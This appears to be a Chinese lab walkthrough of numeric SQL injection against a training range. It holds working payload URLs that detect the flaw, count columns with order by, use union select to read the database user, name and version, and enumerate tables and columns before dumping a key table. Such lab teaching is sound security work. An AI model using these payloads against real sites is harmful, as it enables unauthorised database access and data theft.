天天看點

數字型注入

SQL注入原理

SQL注入攻擊是網站未對sql語句,完全校驗通過将惡意的SQL查詢或添加語句插入到應用的輸入參數中,再在背景SQL伺服器上解析執行進行的攻擊。一切與資料庫存在互動的地方都是有可能存在注入漏洞的。

這難度程度是比較簡單的,但是需要一些SQL語句基礎。

測試環境:東塔靶場

https://labs.do-ta.com/index/course/detail/id/51

測試工具:hackebay

1.判斷是否存在注入

我們可以在url的id=1後添加一個單引号(‘)執行,看語句是否會帶入查詢

如果語句帶入查詢的話,單引号都是成對出現的而這裡隻有一個,那麼語句肯定是不成立的進而報錯,來判斷是否存在注入,頁面傳回錯誤則說明存在注入。

http://120.25.24.45:32333/index.php?id=1

數字型注入

也可以使用and邏輯運算符來判斷,and 1=1 ,1=1肯定為真,則頁面傳回正常

1=2為假,1永遠不可能等于2為假,則頁面傳回錯誤

數字型注入
數字型注入

2.使用order by 查詢字段數 ,這裡查詢到字段為8!

120.25.24.45:32333/index.php?id=1 order by 8

數字型注入

3.判斷會顯點 使用union select 聯合查詢,跟據上面我們查詢到的字段數進行查詢,查詢的時候在=1前面家一個-号讓前面的語句報錯,執行後面的語句進而查詢到回顯點。

120.25.24.45:32333/index.php?id=-1 union select 1,2,3,4,5,6,7,8

數字型注入

4.查詢目前使用者名與資料庫及資料庫版本

user() 查詢使用者名

http://120.25.24.45:32024/index.php?id=-1%20union%20select%201,user(),3,4,5,6,7,8

database()查詢目前資料庫

http://120.25.24.45:32024/index.php?id=-1 union select 1,database(),3,4,5,6,7,8

version() 查詢資料庫版本

http://120.25.24.45:32024/index.php?id=-1 union select 1,version(),3,4,5,6,7,8

數字型注入

5.查詢表名

http://120.25.24.45:32024/index.php?id=-1 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema = ‘dotaxueyuan’ ),4,5,6,7,8

表名為:key,users

數字型注入

6.查詢列名

http://120.25.24.45:32024/index.php?id=-1%20union%20select%201,database(),(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=%20%27dotaxueyuan%27%20and%20table_name%20=%20%27key%27),4,5,6,7,8

列名為:ID,key

數字型注入

7.爆資料

http://120.25.24.45:32502/index.php?id=-1 union select 1,database(),(select group_concat(

key

)from dotaxueyuan.key),4,5,6,7,8

數字型注入

語句可以看見爆出key值了,不用關注URL的對錯主要看Payloads

注:千萬不要對别人的網站進行測試。如若使用别人的網站做測試,造成的一切後果自負